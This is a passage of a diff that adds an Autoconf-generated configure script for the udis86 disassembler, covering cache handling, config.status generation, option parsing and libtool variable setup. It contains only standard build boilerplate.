as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` +ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" +if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : + cat >>confdefs.h <<_ACEOF +#define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + +ac_config_files="$ac_config_files Makefile scripts/Makefile libudis86/Makefile udcli/Makefile tests/Makefile docs/Makefile docs/manual/Makefile docs/x86/Makefile tests/difftest.sh" + + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes: double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \. + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + if test "x$cache_file" != "x/dev/null"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 +$as_echo "$as_me: updating cache $cache_file" >&6;} + if test ! -f "$cache_file" || test -h "$cache_file"; then + cat confcache >"$cache_file" + else + case $cache_file in #( + */* | ?:*) + mv -f confcache "$cache_file"$$ && + mv -f "$cache_file"$$ "$cache_file" ;; #( + *) + mv -f confcache "$cache_file" ;; + esac + fi + fi + else + { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 +$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +U= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`$as_echo "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" + as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking that generated files are newer than configure" >&5 +$as_echo_n "checking that generated files are newer than configure... " >&6; } + if test -n "$am_sleep_pid"; then + # Hide warnings about reused PIDs. + wait $am_sleep_pid 2>/dev/null + fi + { $as_echo "$as_me:${as_lineno-$LINENO}: result: done" >&5 +$as_echo "done" >&6; } + if test -n "$EXEEXT"; then + am__EXEEXT_TRUE= + am__EXEEXT_FALSE='#' +else + am__EXEEXT_TRUE='#' + am__EXEEXT_FALSE= +fi + +if test -z "${TARGET_WINDOWS_TRUE}" && test -z "${TARGET_WINDOWS_FALSE}"; then + as_fn_error $? "conditional \"TARGET_WINDOWS\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then + as_fn_error $? "conditional \"AMDEP\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then + as_fn_error $? "conditional \"am__fastdepCC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${HAVE_YASM_TRUE}" && test -z "${HAVE_YASM_FALSE}"; then + as_fn_error $? "conditional \"HAVE_YASM\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${HAVE_SPHINX_DOC_TRUE}" && test -z "${HAVE_SPHINX_DOC_FALSE}"; then + as_fn_error $? "conditional \"HAVE_SPHINX_DOC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi + +: "${CONFIG_STATUS=./config.status}" +ac_write_fail=0 +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 +$as_echo "$as_me: creating $CONFIG_STATUS" >&6;} +as_write_fail=0 +cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false + +SHELL=\${CONFIG_SHELL-$SHELL} +export SHELL +_ASEOF +cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 +## -------------------- ## +## M4sh Initialization. ## +## -------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac +fi + + +as_nl=' +' +export as_nl +# Printing a long string crashes Solaris 7 /usr/bin/printf. +as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo +# Prefer a ksh shell builtin over an external printf program on Solaris, +# but without wasting forks for bash or zsh. +if test -z "$BASH_VERSION$ZSH_VERSION" \ + && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='print -r --' + as_echo_n='print -rn --' +elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='printf %s\n' + as_echo_n='printf %s' +else + if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then + as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' + as_echo_n='/usr/ucb/echo -n' + else + as_echo_body='eval expr "X$1" : "X\\(.*\\)"' + as_echo_n_body='eval + arg=$1; + case $arg in #( + *"$as_nl"*) + expr "X$arg" : "X\\(.*\\)$as_nl"; + arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; + esac; + expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" + ' + export as_echo_n_body + as_echo_n='sh -c $as_echo_n_body as_echo' + fi + export as_echo_body + as_echo='sh -c $as_echo_body as_echo' +fi + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +as_myself= +case $0 in #(( + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break + done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + exit 1 +fi + +# Unset variables that we do not need and which cause bugs (e.g. in +# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" +# suppresses any "Segmentation fault" message there. '((' could +# trigger a bug in pdksh 5.2.14. +for as_var in BASH_ENV ENV MAIL MAILPATH +do eval test x\${$as_var+set} = xset \ + && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# CDPATH. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + + +# as_fn_error STATUS ERROR [LINENO LOG_FD] +# ---------------------------------------- +# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are +# provided, also output the error to LOG_FD, referencing LINENO. Then exit the +# script with STATUS, using 1 if that was 0. +as_fn_error () +{ + as_status=$1; test $as_status -eq 0 && as_status=1 + if test "$4"; then + as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 + fi + $as_echo "$as_me: error: $2" >&2 + as_fn_exit $as_status +} # as_fn_error + + +# as_fn_set_status STATUS +# ----------------------- +# Set $? to STATUS, without forking. +as_fn_set_status () +{ + return $1 +} # as_fn_set_status + +# as_fn_exit STATUS +# ----------------- +# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. +as_fn_exit () +{ + set +e + as_fn_set_status $1 + exit $1 +} # as_fn_exit + +# as_fn_unset VAR +# --------------- +# Portably unset VAR. +as_fn_unset () +{ + { eval $1=; unset $1;} +} +as_unset=as_fn_unset +# as_fn_append VAR VALUE +# ---------------------- +# Append the text in VALUE to the end of the definition contained in VAR. Take +# advantage of any shell optimizations that allow amortized linear growth over +# repeated appends, instead of the typical quadratic growth present in naive +# implementations. +if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : + eval 'as_fn_append () + { + eval $1+=\$2 + }' +else + as_fn_append () + { + eval $1=\$$1\$2 + } +fi # as_fn_append + +# as_fn_arith ARG... +# ------------------ +# Perform arithmetic evaluation on the ARGs, and store the result in the +# global $as_val. Take advantage of shells that can avoid forks. The arguments +# must be portable across $(()) and expr. +if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : + eval 'as_fn_arith () + { + as_val=$(( $* )) + }' +else + as_fn_arith () + { + as_val=`expr "$@" || test $? -eq 1` + } +fi # as_fn_arith + + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in #((((( +-n*) + case `echo 'xy\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + xy) ECHO_C='\c';; + *) echo `echo ksh88 bug on AIX 6.1` > /dev/null + ECHO_T=' ';; + esac;; +*) + ECHO_N='-n';; +esac + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -pR'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -pR' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -pR' + fi +else + as_ln_s='cp -pR' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + + +# as_fn_mkdir_p +# ------------- +# Create "$as_dir" as a directory, including parents if necessary. +as_fn_mkdir_p () +{ + + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || eval $as_mkdir_p || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" + + +} # as_fn_mkdir_p +if mkdir -p . 2>/dev/null; then + as_mkdir_p='mkdir -p "$as_dir"' +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + + +# as_fn_executable_p FILE +# ----------------------- +# Test if FILE is an executable regular file. +as_fn_executable_p () +{ + test -f "$1" && test -x "$1" +} # as_fn_executable_p +as_test_x='test -x' +as_executable_p=as_fn_executable_p + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + +exec 6>&1 +## ----------------------------------- ## +## Main body of $CONFIG_STATUS script. ## +## ----------------------------------- ## +_ASEOF +test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# Save the log message, to keep $0 and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by udis86 $as_me 1.7.2, which was +generated by GNU Autoconf 2.69. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +case $ac_config_files in *" +"*) set x $ac_config_files; shift; ac_config_files=$*;; +esac + +case $ac_config_headers in *" +"*) set x $ac_config_headers; shift; ac_config_headers=$*;; +esac + + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# Files that config.status was made for. +config_files="$ac_config_files" +config_headers="$ac_config_headers" +config_commands="$ac_config_commands" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +ac_cs_usage="\ +\`$as_me' instantiates files and other configuration actions +from templates according to the current configuration. Unless the files +and actions are specified as TAGs, all are instantiated by default. + +Usage: $0 [OPTION]... [TAG]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + --config print configuration, then exit + -q, --quiet, --silent + do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + --header=FILE[:TEMPLATE] + instantiate the configuration header FILE + +Configuration files: +$config_files + +Configuration headers: +$config_headers + +Configuration commands: +$config_commands + +Report bugs to ." + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" +ac_cs_version="\\ +udis86 config.status 1.7.2 +configured by $0, generated by GNU Autoconf 2.69, + with options \\"\$ac_cs_config\\" + +Copyright (C) 2012 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +MKDIR_P='$MKDIR_P' +AWK='$AWK' +test -n "\$AWK" || AWK=awk +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# The default lists apply if the user does not specify any file. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=?*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + --*=) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg= + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + $as_echo "$ac_cs_version"; exit ;; + --config | --confi | --conf | --con | --co | --c ) + $as_echo "$ac_cs_config"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + '') as_fn_error $? "missing file argument" ;; + esac + as_fn_append CONFIG_FILES " '$ac_optarg'" + ac_need_defaults=false;; + --header | --heade | --head | --hea ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + as_fn_append CONFIG_HEADERS " '$ac_optarg'" + ac_need_defaults=false;; + --he | --h) + # Conflict between --help and --header + as_fn_error $? "ambiguous option: \`$1' +Try \`$0 --help' for more information.";; + --help | --hel | -h ) + $as_echo "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) as_fn_error $? "unrecognized option: \`$1' +Try \`$0 --help' for more information." ;; + + *) as_fn_append ac_config_targets " $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +if \$ac_cs_recheck; then + set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion + shift + \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 + CONFIG_SHELL='$SHELL' + export CONFIG_SHELL + exec "\$@" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + $as_echo "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# +# INIT-COMMANDS +# +AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir" + + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +sed_quote_subst='$sed_quote_subst' +double_quote_subst='$double_quote_subst' +delay_variable_subst='$delay_variable_subst' +AS='`$ECHO "$AS" | $SED "$delay_single_quote_subst"`' +DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`' +OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`' +enable_shared='`$ECHO "$enable_shared" | $SED "$delay_single_quote_subst"`' +macro_version='`$ECHO "$macro_version" | $SED "$delay_single_quote_subst"`' +macro_revision='`$ECHO "$macro_revision" | $SED "$delay_single_quote_subst"`' +enable_static='`$ECHO "$enable_static" | $SED "$delay_single_quote_subst"`' +pic_mode='`$ECHO "$pic_mode" | $SED "$delay_single_quote_subst"`' +enable_fast_install='`$ECHO "$enable_fast_install" | $SED "$delay_single_quote_subst"`' +SHELL='`$ECHO "$SHELL" | $SED "$delay_single_quote_subst"`' +ECHO='`$ECHO "$ECHO" | $SED "$delay_single_quote_subst"`' +PATH_SEPARATOR='`$ECHO "$PATH_SEPARATOR" | $SED "$delay_single_quote_subst"`' +host_alias='`$ECHO "$host_alias" | $SED "$delay_single_quote_subst"`' +host='`$ECHO "$host" | $SED "$delay_single_quote_subst"`' +host_os='`$ECHO "$host_os" | $SED "$delay_single_quote_subst"`' +build_alias='`$ECHO "$build_alias" | $SED "$delay_single_quote_subst"`' +build='`$ECHO "$build" | $SED "$delay_single_quote_subst"`' +build_os='`$ECHO "$build_os" | $SED "$delay_single_quote_subst"`' +SED='`$ECHO "$SED" | $SED "$delay_single_quote_subst"`' +Xsed='`$ECHO "$Xsed" | $SED "$delay_single_quote_subst"`' +GREP='`$ECHO "$GREP" | $SED "$delay_single_quote_subst"`' +EGREP='`$ECHO "$EGREP" | $SED "$delay_single_quote_subst"`' +FGREP='`$ECHO "$FGREP" | $SED "$delay_single_quote_subst"`' +LD='`$ECHO "$LD" | $SED "$delay_single_quote_subst"`' +NM='`$ECHO "$NM" | $SED "$delay_single_quote_subst"`' +LN_S='`$ECHO "$LN_S" | $SED "$delay_single_quote_subst"`' +max_cmd_len='`$ECHO "$max_cmd_len" | $SED "$delay_single_quote_subst"`' +ac_objext='`$ECHO "$ac_objext" | $SED "$delay_single_quote_subst"`' +exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`' +lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`' +lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`' +lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`' +lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`' +lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`' +reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`' +reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`' +deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`' +file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`' +file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`' +want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`' +sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`' +AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`' +AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`' +archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`' +STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`' +RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`' +old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`' +old_postuninstall_cmds='`$ECHO "$old_postuninstall_cmds" | $SED "$delay_single_quote_subst"`' +old_archive_cmds='`$ECHO "$old_archive_cmds" | $SED "$delay_single_quote_subst"`' +lock_old_archive_extraction='`$ECHO "$lock_old_archive_extraction" | $SED "$delay_single_quote_subst"`' +CC='`$ECHO "$CC" | $SED "$delay_single_quote_subst"`' +CFLAGS='`$ECHO "$CFLAGS" | $SED "$delay_single_quote_subst"`' +compiler='`$ECHO "$compiler" | $SED "$delay_single_quote_subst"`' +GCC='`$ECHO "$GCC" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`' +nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`' +lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`' +objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`' +MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`' +lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`' +need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`' +MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`' +DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`' +NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`' +LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`' +OTOOL='`$ECHO "$OTOOL" | $SED "$delay_single_quote_subst"`' +OTOOL64='`$ECHO "$OTOOL64" | $SED "$delay_single_quote_subst"`' +libext='`$ECHO "$libext" | $SED "$delay_single_quote_subst"`' +shrext_cmds='`$ECHO "$shrext_cmds" | $SED "$delay_single_quote_subst"`' +extract_expsyms_cmds='`$ECHO "$extract_expsyms_cmds" | $SED "$delay_single_quote_subst"`' +archive_cmds_need_lc='`$ECHO "$archive_cmds_need_lc" | $SED "$delay_single_quote_subst"`' +enable_shared_with_static_runtimes='`$ECHO "$enable_shared_with_static_runtimes" | $SED "$delay_single_quote_subst"`' +export_dynamic_flag_spec='`$ECHO "$export_dynamic_flag_spec" | $SED "$delay_single_quote_subst"`' +whole_archive_flag_spec='`$ECHO "$whole_archive_flag_spec" | $SED "$delay_single_quote_subst"`' +compiler_needs_object='`$ECHO "$compiler_needs_object" | $SED "$delay_single_quote_subst"`' +old_archive_from_new_cmds='`$ECHO "$old_archive_from_new_cmds" | $SED "$delay_single_quote_subst"`' +old_archive_from_expsyms_cmds='`$ECHO 